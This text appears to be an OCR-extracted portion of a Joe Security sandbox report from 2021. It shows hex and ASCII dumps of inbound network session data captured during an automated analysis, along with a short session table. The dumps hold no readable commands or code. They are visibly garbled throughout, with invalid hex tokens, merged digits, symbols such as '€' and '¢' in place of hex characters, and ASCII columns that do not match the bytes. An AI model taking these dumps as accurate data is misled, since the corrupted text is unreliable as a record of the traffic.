64 4b b8 1b 17 92 7c 76 f1 0f 98 eb 32 1a 26 99 ff 70 f4 5d eb 28 92 5e 78 82 b6 1b 2f b9 53 a0 11 95 e2 el dc f8 41 af a5
bb f1 0f 56 ee b6 13 2a 89 d8 d1 75 4c 93 9c e2 65 70 c0 99 1e 1b cd ac c8 d8 eb 91 d6 c4 93 46 ba 1a 5a 2d ef e5 ed dd
€8 80 af ee 82 c6 da 40 db Oe 6¢ 5¢ 74 72 18 25 1f db fa 27 de 64 37 73 17 20 a7 6b eb 3b 01 b4 30 fe 77 90 5¢ ea 4a 7d
ec 6¢ 4e fd 11 60 42 ad fb b2 06 2c 04 00 15 19 13 a6 ec af 1b f3 d2 99 78 6b 18 9d a8 4d 0d 90 85 0d e0 05 c2 04 34 69
f9 18 2e be bc f8 b2 ¢8 0d 1e 9c a4 b5 1a 87 64 76
Data Ascii: Cy-t DiPh"Y,b4gFpSAgV-"<!2{$dK|v2&p]("x/SAV*uLepFZ-@\r%'d7s k;0w\J}IN'B,xkM4i.dv

2021-09-13 23:07:18 UTC 546 IN Data Raw: 10 df ¢4 67 1b 69 11 fd ad 8b 4e 69 d8 7f ce c1 dc 95 6f 07 b6 8d 91 48 34 cf 86 a2 64 85 83 0d ae 3f ad 94 6e
4393 46 c6 68 €8 86 1b 5d c5 05 10 Of 7e f2 cd 76 46 b1 72 18 40 a0 6d 92 e2 bl 48 39 1f a6 78 6b 76 8¢ 18 93 df ef 5d
2e 88 d0 03 9a d3 el 92 09 b4 f9 bb 3e 09 c0 aa 67 4d 9a 43 ca 19 6b 6b 17 bc 5 92 ca e5 9a c0 9e e7 01 63 6d 9f 49 3e
6f 45 f9 81 ¢7 80 5d 2 9f 55 fb 4d 71 02 f6 3d bc b0 5¢ 24 74 04 ab ba f2 ec 64 2a 41 ea 05 16 79 47 a6 bd Oa a7 dc 4d 95
df a9 f2 2b 4d 75 e6 e5 09 da 06 c8 27 6d a5 Oe a2 48 1b 9c 84 9c cO 7b 10 ec al 3c 73 c5 4f 26 cf 1c 5b 1b e 85 4e 41
a6 33 ¢3 81 4b 80 02 e7 50 b5 56 fe 32 bd 9f e0 97 06 ea 86 53 Oc eb ff 04 01 ¢5 76 10 b3 8¢ 70 be 66 {7 {3 f5 5¢ 1d 89 07
8d f2 d0 89 10 82 21 c4 f1 13 24 c4 4c 58 a7 51
Data Ascii: giNioH4d ?nCFh]~vFr@mH9xkv].>gMCkkcmI>0E]JUMg=\$td*AyGM+Mu'mH{<sO&[NA3KPV2SvpAISLXQ

2021-09-13 23:07:18 UTC 548 IN Data Raw: d8 d1 75 4c bd a3 a3 33 12 al fd 41 7e ba cf ad a8 9f f8 b9 aa d3 35 ce 7e 1a 6d ef 95 37 9b €8 80 af ee 82 8
ea 01 8d 68 0d 35 18 07 6a 40 5f b2 95 54 81 06 56 00 72 60 d4 1f 8f 7b 4e b4 30 8e ad d6 5c ea 4a 7d ec 42 71 bc 47 12
37 c3 8f db 6b 49 5b 65 68 6b 7c d4 ac dc 6f 97 92 d9 78 1b c2 db a8 4d 0d 90 85 23 df 44 94 66 5a 0d a6 79 42 d2 d3 9b
f2 bb 79 7a dc e4 b5 6a 5d 22 76 13 28 0b d3 62 9f db 63 32 fa 39 21 b7 17 e2 65 51 e6 8d 6d 93 ab e2 a7 eb db c0 6e 60
al de 08 6f Oc 70 15 27 02 5e 7a 05 95 e6 bf 12 09 79 5a c9 1c 6b cf d4 b0 4c f4 82 ba ee ef 66 35 3e 9e 73 fb 59 86 5¢c 90
e7 1f 42 27 20 30 ff 6e ee 8e 4b 25 51 63 de d4 1le b2 bd 54 6b 73 0f 33 e4 a4 1f ab e3 78 fd 15 14 b7 e3 b0 03 86 c2 5e
69 d9 33 Oe 3f b2 55 c8 48 e4 1d 55 b0 ef d2 fb 12
Data Ascii: UL3A~5~m7h5j@_TVr'{NO\J}BqG7ki[ehk|oxM#DfZyByzj]"v(bc29!eQmn op“”zyZKLf5>sY\B' OnK%QcTks3x"i3?
UHU

2021-09-13 23:07:18 UTC 549 IN Data Raw: d5 72 30 54 a9 7b d3 c3 28 56 11 65 c6 €5 97 9e 16 45 33 b5 66 77 0d 22 c1 d2 78 de ee 02 e6 ab cd b2 6b 4d
05 3c a3 09 da 06 c8 27 43 9a 4f f4 77 3f fe e5 ef a6 18 4f 83 ¢7 4f 07 b7 2a 47 a2 5¢ 1f 4e al al 2d 29 ¢7 41 9c f5 39 el
64 93 2315 12 be 41 c9 fb a0 d7 46 99 f2 37 4c ab ff 04 71 1f 30 10 b3 83 70 be 48 c8 b2 a3 63 39 eb 66 fe 9b b3 d6 63 f6
53 al 90 7e 46 bl 2a 17 €3 04 4e d2 04 4b be Of 74 01 57 8a 5a 87 49 5b c9 77 6a 4e c3 16 2b 32 fd 99 b8 bf 89 eb 7e 6a
4c 3a 1f 84 al db 8 f6 3f 8a bb ab 5c fc 05 ad ed 6e 37 10 f8 63 56 3d 79 4b ec 66 91 b4 b2 e4 eb d7 09 e7 5a c5 ab d8 Of
€4 37 65 80 98 27 bd d4 96 98 12 1d 78 3d 78 9c ef 40 b5 35 0a 45 27 d8 f4 1c 7a e7 18 44 a8 f9 fa 8¢ 34 60 e0 f3 60 c5
04 1a 24 d6 f8 cb fO c9 68 52 1d 1f 2c 7 Of 62
Data Ascii: rOT{(VeE3fw"xkM<'COw?0O0*G\N-)A9d#AF7LgOpHc9fcS~F*NKtWZI[wjN+2~jL:?\n7cV=yKfZ7e'x=x@5E'zD
47$hR,b
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 550 IN Data Raw: 76 13 28 Ob d3 4c a0 9a 35 41 83 4a 55 d2 7a bd 00 23 94 e2 1f d3 d8 96 c3 ab 9b c0 6e 10 7b 98 08 6f Oc 70
1509 3d 1f 2c 67 f4 82 e0 71 68 Oa 2e 89 6f 1f ab 94 f0O 4c 4 f2 60 a8 ef 66 35 3e 9e 5d c4 18 dO 3a f9 8b 7a 31 5e 53 44
9a 03 bl eb 39 57 3e 11 9e b2 77 de d8 27 12 00 7b 56 89 e4 6¢ df 87 38 bd 15 14 b7 93 6a 45 86 c2 5e 69 d9 1d 31 7e
e4 0a 9b 31 97 69 30 dd b0 b7 89 60 d9 05 b5 90 82 7d 25 07 6d 47 cc 5b 26 43 83 8b 5d cb 14 aa 9f d4 4e 8b 98 8b 9b
10 1f c5 1b d9 ff 13 9f 8a 67 5¢ 69 9d 5f ac e8 25 95 90 4d 7 99 7b 21 31 b4 2e 5f 03 8¢ c5 e2 2e 48 e5 98 87 2b 47 Oe cd
e3d1 46 96 55 db 93 79 94 6¢ 1f b2 13 ad d8 c7 de 89 33 €9 2b fe c9 73 65 e2 3e 10 e7 f4 25 2b ec 21 72 9d 59 7e b5 e7
8e fe d6 ed b4 5e 53 87 d3 a0 ec 05 61 b7 61 55 6¢ b2 fe
Data Ascii: v(L5AJUz#n{op=,ggh.oL f5>]:z1"SDOW>wW'{VI8|E"i1~1i0 }%mG[&C]Ng\i_%M{!1. .H+GFUyI3+se>%-+!r
Y~"SaaUl

2021-09-13 23:07:18 UTC 551 IN Data Raw: 5b 40 e2 56 6f ee 2b 1a el 14 75 02 12 0b fO bc 05 2b 06 95 37 59 1d bc 69 ee 47 fb 29 3¢ 45 38 c5 2d b6 92
e7e54b 4d 53 eb 13 16 5a 53 e3 bb 14 70 14 8¢ 7b 16 c9 0d 95 d8 a5 a5 65 f6 ¢8 99 d3 3c ce 6f f2 b0 8d 7b e6 3d d8 d7
5e 61 18 82 13 ¢4 9e 5¢ 07 6e 3b c7 €6 32 b3 3c 46 10 dd 8f 1a 75 ed a3 94 1b f3 bd 83 ff Of 24 11 a0 eb b2 91 5e 48 8a
9a b3 aa fl Oc 1a 4e 61 bb cf d6 5a d7 c2 e3 fb 7f 7f 81 49 ee 6a 7a 5e be b5 86 fc 05 22 27 6f 5a 9e a0 17 4e 06 9c 1b cd
d9 b5 20 47 ed 82 5c 67 8e d4 1f Ob 99 9b da e2 5f 36 83 9c 2c 2d 47 bf ca 08 a4 fa Oe 4e 1a c8 c3 d5 c8 f2 d7 fc ae bc 44
758a30 12 8c 6e c8 2c e7 df 44 e1 57 7c 55 98 44 cc 30 68 a7 88 97 14 07 e6 05 4b 92 ad 9f dd 74 4f f6 a6 5a 24 ab 93
bf €7 77 ae 7c fb 4e 79 5d 25 5a 4d ef e5 el dc e8
Data Ascii: [@Vo+u+7YiG)<E8-KMSZSp{e<o{="a\n;2<Fu$"HNaZljz*"'0ZN G\g_6,-GNDuOn,DW|UDOhKtOZ$w|Ny]%ZM

2021-09-13 23:07:18 UTC 553 IN Data Raw: 31 ed f2 81 cb b7 12 10 bb 58 6b fa 3c 10 3d b5 02 6b 5a 22 1d a9 04 78 50 ae 68 ad e5 29 27 2c 93 c¢7 42 a7
eb 5f 3a 51 f2 67 3c dO c4 ad 99 74 b9 a0 15 18 4f 8d be 66 ab b5 7a db e5 71 06 al 7b 11 44 35 61 d8 16 7a 58 69 al ae
ac a9 6f 21 a7 2d 83 e6 ce el ab Oc 30 14 02 f6 73 ad e3 3e b0 df c4 67 84 59 a9 cd da ba de 58 e9 4d 99 {3 9e a6 ea 33
3a b9 69 7c 25 f9 a0 94 2a b3 72 3b fd 08 25 a3 ca 74 5a 71 1c 5f 09 b1 10 65 8d 3d 5f 37 fc ca 44 4e f3 89 ce 20 a2 98 49
ab d2 88 36 00 9a 9f 4a 51 17 b6 6d a9 54 d5 c4 14 2f ea b6 a0 10 db 67 33 ba c2 f4 05 6¢ fb dO 5¢ c5 al d5 f1 bd 50 aa
2c 59 de e2 f6 55 a6 79 a2 58 3d 69 50 8f 74 27 52 c2 c4 3b fa 7e 60 e3 al 4f c5 24 4f 85 c8 95 82 7a 62 cc 4a fd 95 ba cd
ch 5b 4c 7e 87 3a b6 46 €0 99 6e 35 7d €3 42 45 df
Data Ascii: 1Xk<=kZ"xPh)',B_:Qg<tOfzq{D5azXio!-0s>gYXM3:i|%*r;%tZq_e=_7DN 16JQmT/g3I\P,YUyX=iPt'R;~"
0$0zbJ[L~:Fn5}BE

2021-09-13 23:07:18 UTC 554 IN Data Raw: 9b 07 05 28 da 53 2f 97 1f f5 2a 75 cf cc 22 39 30 a4 e0 c5 53 8d d2 be ac 5a c3 e5 24 9f b1 fd 42 da b5 09 b5
ae 6b eb 24 be a3 a0 85 a7 64 4b d0 2b 79 a2 c9 46 4a 3f 5d db 07 2f 67 a3 40 45 31 68 Oe 1d 9d 68 6d b4 a9 2d a3 83 cb
9a 08 ae fd da ec c3 7a 9b e1 80 b8 34 18 d5 €3 28 71 b2 bb ea 1c 77 e3 a7 94 5e 0d fb 17 22 8f fe 04 f4 76 d7 26 ea 00
af 9¢ 86 fa 66 c1 d3 81 d3 b7 d6 34 91 54 bc 02 eb 57 e4 13 53 78 4b 72 a8 24 1f 8b fa 27 de a2 06 al 26 61 95 f6 d3 80
36 53 08 f9 4e 05 65 b3 70 fa d6 cc 74 21 2b 8b 78 55 ¢1 96 3d 15 3f 55 21 d9 28 47 d7 b9 27 bc ee f2 44 98 24 89 95 21
30 1a b8 08 de 26 fc 97 05 c7 c7 d4 10 81 83 a2 8d b0 32 f6 a3 a4 b5 1a 47 65 76 57 28 Ob d3 9a 91 7e 07 ee b0 66 61 a9
4e 75 34 45 a2 01 29 34 ee 7d 5 44 ad 33 58 e7 4d 63
Data Ascii: (S/*u"90SZ$Bk$dK+yFJ?]/g@E1hhm-z4(qw""v&fATWSxKr$'&a6SNept!+xU=?U!(G'D$!0&2GevW(~faNu4E)
4}D3XMc

2021-09-13 23:07:18 UTC 555 IN Data Raw: 8d 9e bb 9d 1c 51 cf a3 d6 f6 fc d8 1e 2b c1 5 a5 20 ab 4e 26 fc af 77 41 43 6d 72 da 50 59 dO 5b 7a d6 2d 58
4a 36 45 ee 2b 58 eb e5 68 b8 bd 24 36 89 e5 ¢3 ab cc 8d a3 81 d5 33 9e 91 ae 76 {7 7f 46 25 6e 56 93 81 17 af bd db 9a
9f 9c 7 59 63 6d 9f 67 Of 48 77 4e b3 96 b3 a9 c1 9 61 25 79 8c 36 54 07 af 86 29 12 b5 32 6d 8¢ 10 da 6e 1d 5c dd 27
2189 7f a6 84 13 9e 71 7b 28 e6 7f cb 01 77 ff dc fd 32 75 3a 08 1b bc 99 08 9f 62 26 d7 b9 ee f2 ¢5 2d 2f 9¢c 3e 4d 05 71
€3 110 64 1b 9e 85 2e 43 a6 47 c3 81 4b f8 3d 7c 60 15 66 1b 02 bl ae de a6 45 db fe 62 0f d9 b8 36 4d {7 ef 22 4e bl 6¢
8d 14 c4 05 c6 a7 2e ba 33 ¢5 c6 a6 bd 90 b6 74 f2 9c 25 fe f2 05 60 c6 66 c8 c1 73 1b f3 45 af 4d fa d3 c4 cb 75 22 27 Oe
db 03 bd 6¢ 1e 48 03 d7 39 c5 f7 d0 58 8b a6
Data Ascii: Q+ N&WACMIPY[z-XJ6E+Xh$63vF%nVYcmgHwWNa%y6T)2mn\'Igf(w2u:b&-/>Mqd.CGK=| fEb6M"NI.3t% fSEM
u™lH9X

2021-09-13 23:07:18 UTC 557 IN Data Raw: 53 ba 60 d4 17 fd 4e 7b d2 32 62 60 53 4e 36 19 4e e7 98 1b b7 58 58 4f 62 1c 2f 57 64 07 c6 88 32 c3 7f ad
18 d7 1d 40 2d 51 6b ¢3 bb 5e f3 93 3 8d 19 13 8b 3f ad 26 de 99 ec af 1b ¢3 d1 99 84 6b 18 9d aa 7d bc a0 3e 3d 24 35
0f 34 ef 59 27 28 cb 8e aa c9 d8 f9 82 2f ab 96 21 28 91 57 f1 20 e5 38 07 7f 45 a9 c9 72 a4 7e 8a e6 93 89 f0 17 6e d6 Of
€6 8c a3 bb 9e 06 5 2a 26 e5 ae 07 58 1a 47 63 3e 40 28 81 50 4d b5 2e 46 91 3d 20 b1 46 27 9b ac ca 74 b7 ca 2a 90
25 5e bd 07 01 64 6¢ 21 0b 03 Ob b2 81 08 18 69 17 a0 82 8b 5e 03 99 04 c9 a4 59 4d 25 e2 22 29 0f 40 40 b2 f9 57 fb bc
1386 27 2f 8e a8 2a 7e ¢1 f9 10 52 8¢ 26 6d 45 87 31 1c Oa Of 52 9b e6 Oc 8c 68 5b 31 3e 47 ab 7b 46 25 3b 47 7b {7 67
7d 7f 03 b7 da f7 85 96 07 e8 d1 b7 8b b6 dO 2d 47 f8 72
Data Ascii: S'N{2b’SNENXXOb/Wd2@-Qk"?&k}>=$54Y"(//(W 8Er~n*&XGc>@(PM.F= F't*%/dIli"YM%") @ @W'/*~R&mME1L
Rh[1>G{F%;G{g}-Gr

2021-09-13 23:07:18 UTC 558 IN Data Raw: 52 9b 65 19 6f 46 ca d6 69 €9 8a fb c8 5e 5a 3d d8 7c 9f a8 1c a8 6d 4f d2 d8 4b 08 8e f1 44 13 dc 29 78 2e d3
b0 28 74 ¢8 06 bd b4 d2 b5 bf d2 e8 80 9b cb d6 88 66 d5 8f 30 d9 b0 1d 3a 86 c9 83 37 61 40 d4 85 67 46 ba 51 e4 c4 dO
6b 25 be 60 ba 8d e7 1b 27 25 16 73 ¢6 c5 13 a3 74 2f 9f 2e 49 71 5f be e7 c4 13 bb 1d 30 0b 17 02 f2 b5 cb 21 7d 9e 37
52 e5 b7 52 e5 ee f3 f2 34 af 30 14 25 cf 9b b8 ec b7 44 56 e2 64 1f 6d 5a 15 b5 18 7f 50 83 83 19 c6 02 ad d7 de aa 70 f9
¢6 96 db 35 ff 66 4b b9 66 71 04 37 e5 dd 4b 6b 6a 88 02 ce 81 56 e2 67 {7 ce 53 3b €0 Oa 2e d6 4c b9 7a 43 Oe 95 7d 1d
9 ba 8f f8 4f 23 d6 a7 69 b5 2b 59 €3 82 a6 ba cb f8 12 13 1e 68 d0 c6 85 50 f6 c8 14 f0 54 75 52 43 dc 67 11 53 8f b8 89
1 0d 2f 52 62 13 93 2a 19 d4 08 65 15 64 d7 13
Data Ascii: ReoFi"Z=|mOKD)x.(tf0: 7a@gFQk% “%st/.Iq_0!}7RR40%DVdmZPp5fKfq7Kkj\VgS;.LzC}O#i+YhPTURCgGS/R
b*ed

2021-09-13 23:07:18 UTC 559 IN Data Raw: b4 34 c¢5 31 70 a5 0d 3d 7b 2c 67 f4 fc d5 ec 5e bb 18 4f 59 c2 9d 65 c6 4f c3 €8 57 98 d8 24 02 c1 a6 ca fd 83
€9 a5 c0 28 43 96 67 f8 7d 35 3a 02 d2 1a 6d 95 2b 31 88 c4 e4 6f 1d a9 3a c4 6¢ 4a de ab e5 bf 03 7a 2e df 8¢ 5¢ 51 96
bd 15 65 b2 e2 c2 0a 9d df 5e a7 d2 ab 8e Oc 36 8¢ 58 b5 93 e5 f2 89 6b be 82 19 07 ad 43 cc 7b 26 43 83 f8 68 13 23 31
a5 76 74 34 a2 48 al d7 25 Oe 21 16 c5 34 a4 Ob 5¢ 5¢ 69 9d 8f a8 €8 61 95 90 4d c3 aa 36 12 94 87 ec 6¢ 08 b9 b0 d8
ee 72 eaal af 10 12 35 al d8 7a 7d 59 6e 03 a8 50 a8 31 23 c6 2f e5 e5 5d e3 5a 0e 03 16 a3 7 17 53 3d 00 e5 el c9 58
2¢ 56 70 c2 39 b4 4e 69 d7 9f ca c1 ec 95 6f 07 2a bd 23 78 f0 ff 5f 92 46 b4 ¢3 3¢ 88 0d 55 a6 10 70 fO 7e ad 50 41 be aa
65 d8 3c 35 36 56 c8 fd 4c 24 8b 18 22 40 a0 62 62 e6
Data Ascii: 41p={,g"OYeOW$(Cg}5:m+10:1Jz.\Qe 6 XkC{&Ch#1vt4H%!4\iaM6Ir5z}Y nP1#/]ZS=X,VpONio*#x_F<Up~
PAe<56VL$"@bb

2021-09-13 23:07:18 UTC 560 IN Data Raw: €8 05 e8 bb 5d e4 d6 c9 7e 5f dd df bl 8c 60 f2 8e 3f 5d 45 85 20 4d 69 b8 3b 61 56 0a 84 7e Oe 6e e7 d3 d7
aaf578d7 4c a3 18 70 96 c8 d2 e5 3b 8 af 53 0d 38 dd 2b 08 9d 8a d3 a8 1d e3 7c ae b2 19 3a 8d 4c 19 e9 ea 8f a5 41
6fal 77 15 c6 72 ed 66 21 8e 5a c6 2d 5e Oa fO 1c 1b 31 38 bc 03 eb 23 ed 5f 29 9b 53 {8 13 78 95 c0 €8 36 be ab dc ca
88 81 a0 bf Of 5b 7b e4 49 9f 9f fd 84 da 7f 09 80 aa b6 e8 6e 22 00 9c 34 9b 91 77 a4 26 f1 af 8c 4b eb 31 50 d5 c7 25 26
06 fa 70 bc 5d eb 28 7a 6e 60 b3 eb 2a 8a 88 5a 95 a6 a0 b4 d7 8a cf c8 97 54 83 d2 36 17 d7 e9 2a c1 b0 b5 ea 5f 70 4b
a0 d6 58 31 fd eb 23 9b ff 20 f5 45 d6 3a eb 72 ae 38 84 63 65 a5 d0 20 d2 Oe d7 5f 90 1c bd c6 75 45 db 22 6¢ 5¢c 74 72
28 e2 2f f4 cb c3 ec 8e 05 8b 25 de 95 6f d8 29 3d 95
Data Ascii: ]~_"?]E Mi;aV~nxLp;S8+|:LAowrflZ-"18# )Sx6[{In"4w&K1P%&p](zn*ZT6*_pKX1# E:r8ce _uE"I\tr(/%0)=
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kBytes

Timestamp transferred Direction
2021-09-13 23:07:18 UTC 562 IN
2021-09-13 23:07:18 UTC 562 IN
2021-09-13 23:07:18 UTC 563 IN
2021-09-13 23:07:18 UTC 564 IN
2021-09-13 23:07:18 UTC 566 IN
2021-09-13 23:07:18 UTC 567 IN
2021-09-13 23:07:18 UTC 568 IN
2021-09-13 23:07:18 UTC 569 IN
2021-09-13 23:07:18 UTC 571 IN
Session ID Source IP Source Port
2 192.168.2.5 49790

Copyright Joe Security LLC 2021

Data

Data Raw: a8 e5 c8 2e d3 b7 32 61 37 a0 db 91 al 1b c4 ae 14 c9 f8 45 48 0f 33 10 dO 3d 7d fb 1f 10 59 da 85 b8 02 78 47
f2 73 ee fc a9 97 e4 4c 46 7b 53 e4 8d 13 ad d8 a7 d8 89 5b e9 2b ee c3 43 9e d3 88 21 64 f5 aa 2a 82 20 02 9c 8e 7c 5b
e2 de fb 08 €9 13 59 ba 81 1f a9 f1 Oc 1f be 7a 5¢ 77 bb 12 97 17 94 dd 58 21 aa 3d ff ef d1 64 22 5d ff 1c 2a 2a 44 bd f7
le 7c 26 48 d6 7a a8 59 b3 d9 8b 73 67 24 d1 43 fO 4d 38 23 7e e4 €9 61 1e b4 81 3f 9c ee 68 a0 1f 8a 81 85 65 36 cO da
61 4d fe 43 ca 19 09 5b 22 8d

Data Ascii: .2a7EH3=}YXGsLF{S[+C!d* [[Yz\wX!=d"[**D|&HzYsg$CM8#~a?he6aMC["

Data Raw: 7f a3 9d d7 ea fd 36 d5 e9 51 4d ac 08 0d 35 76 7d b2 67 b3 f1 c1 27 66 22 7e 73 36 dd 06 f8 84 01 10 f2 30 Oc
8e 32 d8 ba 1e b6 de 06 23 65 72 f0 88 8a 92 76 77 56 ea 4d c7 74 75 ba de 0Oa 31 3a 3f 00 1d e2 9e 59 9e 42 26 1f b9 30
f2 ae 2d 90 9f 1f 4¢c Of 70 26 cf 1c db 1d 9e 5 4e 41 a6 42 f3 1b 7b 4b 3d b6 61 37 67 32 03 be ad c4 a5 43 d8 f8 61 a4 d9
6b 30 3f f0 80 25 ac b5 e2 88 cd c1 e6 c2 31 2a 71 30 9c ca 9b bl ba bb 05 ff cc 28 72 ff 3b 6¢ 37 6a cO cd 8c 18 db 41 36
49 13 d7 64 cf 59 27 €2 0b 89 06 Oe 6a a9 4e 40 d1 33 c3 c2 d6 3c 8d 95 07 eb b9 2a e5 da f6 2e e0 bl e0 a7 b3 fb cd 8f
0f 44 e5 be 10 c6 59 39 0b 34 53 60 81 c8 08 bb e1 2b d1 74 f3 ca dl el a4 02 76 ab ce 31 e3 20 fe 41 56 8b 3d 5b 21 bf
97 f2 d8 3c 17 b3 76 ef bc d3 34 5f 43 ce e6 91

Data Ascii: 6QM5v}g'f'~s602#ervwVMtul:?YB&O-Lp&NAB{K=a7g2Cak0?%1*q0(r;|7jA6ldY'|N@3<*.DY94S +tvl AV=[!
<v4_C

Data Raw: 69 3e 10 36 36 37 c3 5a 05 2b 2e 8a b8 cc ba fc 01 2a 8c 90 al 2e 9f 50 6a 27 08 3f {7 78 88 ae 19 75 b3 7e 61
€6 42 89 3c 17 d4 d6 5b e7 90 a2 8f 9f cb f4 3a 24 23 ac 54 5b 6¢ 44 71 3d 55 2b 40 53 84 b6 94 45 10 3e 52 bd ef 2b 2f
a0 78 78 78 ¢6 f0 9c 7b 52 ad 0a 02 69 64 2c 74 Oe 51 bf d6 05 ee 67 fO ae bb 85 57 0d 97 Oa d5 aa 7a 43 12 ec f7 26 d4
4f 8e bd 38 58 3f b3 dc 89 fd 20 5b a7 9a 71 72 f6 a6 5d 25 29 31 4b e0 3f 93 04 9b 5¢ 20 e8 a4 82 91 55 ¢5 30 95 a5 a6
48 0d 32 41 72 fc 6e 12 76 bb be 61 fe 54 9f db e1 06 be d4 be cb 25 4b f0 43 ec a3 26 ff bf 03 69 01 a8 33 99 98 10 el a5
35 c2e54e al 04 30 1b d7 36 00 fO 72 1b dc dO 00 b2 b7 72 ae 8 47 e4 ee a3 f9 ee 23 4c¢ 20 59 a7 87 af 98 18 f2 1a bc fb
dc e7 db 19 46 b9 d6 e6 25 03 f1 87 2e 8d 24 15

Data Ascii: i>667Z+.*.Pj'?xu~aB<[:$#T[IDg=U+@SE>R+/xxx{Rid,tQgWzC&08X? [qr]%)1K?\ UOH2ArnvaT%KC&i35N
06rrG#L YF%.$

Data Raw: 02 5f 37 ca 99 66 6d b3 73 b7 8a ea 05 2a 12 1b 50 cb 8b le 74 76 ef 9d 91 4b 3e 5d f3 e5 a5 11 95 1f 03 09
03 00 e3 b7 37 22 32 9c 46 50 6a b5 cd e7 d7 f2 db 35 88 31 7a 24 cc 9a 8b ed 91 45 bf e3 b7 1e fc 5b 8a b4 8f 7f fd 83
8019 c1 02 ab d7 ce aa 04 f9 86 96 17 32 2f 61 15 be 3f 75 72 33 a9 d9 09 6f 2c 8¢ c9 cd 69 55 1a 64 01 cd 8f 38 c8 36
le 1a 77 85 c6 7f 46 a9 29 11 84 b6 da f4 1c 2f e4 ab 58 b9 c4 55 d8 8e 28 b7 68 f5 c8 le 6f 65 9c cb b7 5e f4 c6 d3 ff b7
7a 7b 4c 21 6f a9 5b 09 b0 4 f9 91 26 8 6b ab 9a 9c 10 40 01 f7 1c 94 de fe 27 al ea 7a 5b c1 89 8¢ 19 7e 9f c8 dc d7 59
3385 9b 2a 1a 41 e6 cc 97 a5 4b 0f b2 1b 26 c2 c8 c9 9d d6 e0 af 8e 45 5a 8b fb 12 51 6e 50 2c 6d df el e2 fO 7f b0 9b a3
cf 2f 68 c6 88 13 ca 8f d8 c1 75 4c 93 a4 d6 59

Data Ascii: _7fms*PtvK>]7"2FPj51z$E[2/a?ur30,iUd86wF)/XU(hoe’z{L!0[&k@'z[~Y3*AK&EZQnP,m/huLY

Data Raw: 90 81 1f 5¢ d1 b0 5e 68 cd ef b1 07 ca d2 b6 ad f5 al a5 06 09 86 6b bf 84 ef €9 83 64 b4 7d 25 07 5d 40 cc 8b
27 438373 6d ch 25 a2 ae c4 7f 93 a9 ab aa 38 2e f5 2a el ce 53 ae c2 56 Oc 58 c5 6e cc d9 4d a4 e0 7c 8f a8 fb 10 b9
85 be 6e 9b bd 65 d3 86 79 55 a9 3f 1a 87 3f 05 d2 01 77 4e 64 3b a2 91 a5 9c 2e 4a 22 ad ea cf ec 99 01 f1 19 ce fb 5b 5f
d3 0c 28 ed 84 55 53 5b 41 cf f5 b9 2e 5b bf 4d be f3 a4 a7 ef 35 3e bf 01 7a ac fd 26 90 cc b7 33 3f 16 0d 6d a6 a9 71 43
74 1e 5a 08 b4 3 6f 35 37 €8 3d 7e c1 c5 45 56 82 6a 2b 60 93 4a al d2 82 70 Oa 5f 95 30 58 26 bf 40 a0 bf dc 35 1d 8 e3
7b a9 53 d2 15 3a 24 ca 23 0d a9 f3 02 54 fd a9 fb f9 d9 58 a3 24 6¢ d6 4a f9 05 a9 27 ad 17 32 9b 5e 9f 7d 36 5b 55 cd 99
f3 a0 69 da ab 65 cf 75 45 42 c2 7a 88 e0

Data Ascii: \*hkd}%]@'Csm%8.*SVXnM|neyU??wNd;.J"[_(US[A.[M5>2&3?mqCtZo57=~EVj+ Jp_0X&@5{S:$#TX$IJ'2"
}6[VieuEBz

Data Raw: 02 84 54 4a bf aa 27 1e 31 7a a5 6e 6e 86 67 ce 35 56 22 {8 49 13 d7 30 46 Ob d2 24 83 58 16 9c 10 fe 23 7e
13 ¢6 f4 33 b9 ae 9b cf d2 84 2f bb bd 5f 94 e0 99 9b 5f f9 da de 1f Od 86 ae 44 eb d0 21 a2 a0 el 47 63 4b 64 1a 17 92 78
46 e5 3f 80 db 2e 2a 06 a6 cb 40 cc 6d d7 18 c2 6e 2c b2 da 2b 5f 89 db 90 9d a5 72 d1 44 c8 el 90 1d 8b 39 3f 9a de 66
23 ce b9 30 el 75 7d 83 ad 6 54 58 f1 b5 2f 5f f3 e4 f9 b8 da f5 e7 b8 a2 ca 8b 8a 6b b5 de 79 dc 7d d9 28 9e 2e b3 16 e4
94 ea d6 5d ac 45 72 2a 21 2d d3 c8 2b ec 44 05 57 25 08 95 47 d9 0f 3¢ 8¢ 02 c2 45 dO 6e a2 78 1d de 1c 7c 89 23 18 70
3d c9 12 34 88 36 b4 28 al 21 76 de 4f 29 17 e0 71 4a 87 2a 6d 9a b9 3f 68 b7 0d d3 1d f1 2c 08 51 ca 24 1d f2 8f a8 81
a8 3e 7a af cc 86 76 b4 10 45 9f 1b 9b e0 d8 93 02

Data Ascii: TJ'1znng5V"I0F$X#~3/__D!GcKdxF?.*@mn,+_rD9?f#0u}TX/_ky}(.]JEr*!-+DW%G<Enx|#p=46(!vO)qJ*m?
h,Q$>zvE

Data Raw: 0d 9f 73 7c 75 e4 5b fd ed ef al 5¢ 3b 85 c1 a2 1c 07 93 b5 ¢6 57 9 b0 79 9d 43 9e 34 52 7 a0 fa f5 ac db 4a
2889 f6 €5 23 e7 4d fe f9 56 72 85 46 5c 74 ec 56 c6 d6 ed 7c 5d 2b ca 4c 1f 42 fO 2c 17 eb 63 69 ba bc 74 37 36 7 55
a9 b5 80 3d 8f f2 3d 14 9e bb 79 6e 77 36 2d 6f 5e 33 89 d1 a7 8e d0 ca fa c6 d2 7d 56 €9 aa c5 Ob fb 70 65 b4 63 b5 e9
€7 23 60 3f 78 bd 37 22 07 60 85 b8 11 98 31 5f 8f Oe d9 60 1c 69 dc 39 20 3d 71 ea 8b 56 91 b4 74 e5 €9 3d c4 83 7b c9
d0 29 3f Oe 30 14 11 89 93 e2 94 bc 2d 60 b2 90 f8 6f 27 f0 96 18 44 f1 78 1a f8 58 6¢ 57 a9 d1 79 1d 91 5f f4 f5 7c fc 3a
63 67 29 61 5a 05 11 a8 54 a0 ba dd 42 64 dc dc 27 33 fd f2 66 28 97 bb 44 86 5a cf b7 cd 10 25 dd 3f d1 ca b4 bl 64 ba
5d fc 75 2b b0 fc d0 6f 03 69 dd ce d3 1b 1b 45 e7

Data Ascii: s|u\; WyC4RJIF#MVIF\tV|]+LB,cit76U==ynw6-03}Vpec# ?x7""1_"i9 =qVt={)?0-"0'DxXIWy_|:cg)aZTBd'3f(DZ%?
d]u+oiE

Data Raw: a9 41 14 a8 c2 2a 26 9d 24 e9 1f a0 2a f5 97 74 b6 28 4e 1f 3 d7 c9 ef ¢4 b2 9b dc c2 f4 9d 72 b7 3c 18 6e 08
